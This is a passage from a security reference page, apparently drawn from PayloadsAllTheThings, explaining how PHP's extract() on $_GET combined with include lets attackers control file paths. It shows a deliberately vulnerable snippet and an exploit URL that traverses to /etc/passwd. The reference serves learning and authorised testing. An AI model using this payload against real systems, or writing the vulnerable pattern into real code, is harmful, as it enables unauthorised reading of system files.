Skip to content

External Variable Modification · passage 4 of 6

Poisoning File Inclusion

2 code blocks · External Variable Modification/README.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub

If `extract()` is combined with file inclusion, attackers can control file paths.

<?php
    $page = "config.php";
    extract($_GET);
    include "$page";
?>

**Exploitation:**

http://example.com/vuln.php?page=../../etc/passwd

Source: External Variable Modification/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-13 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.

Updated AboutDevelopersSign in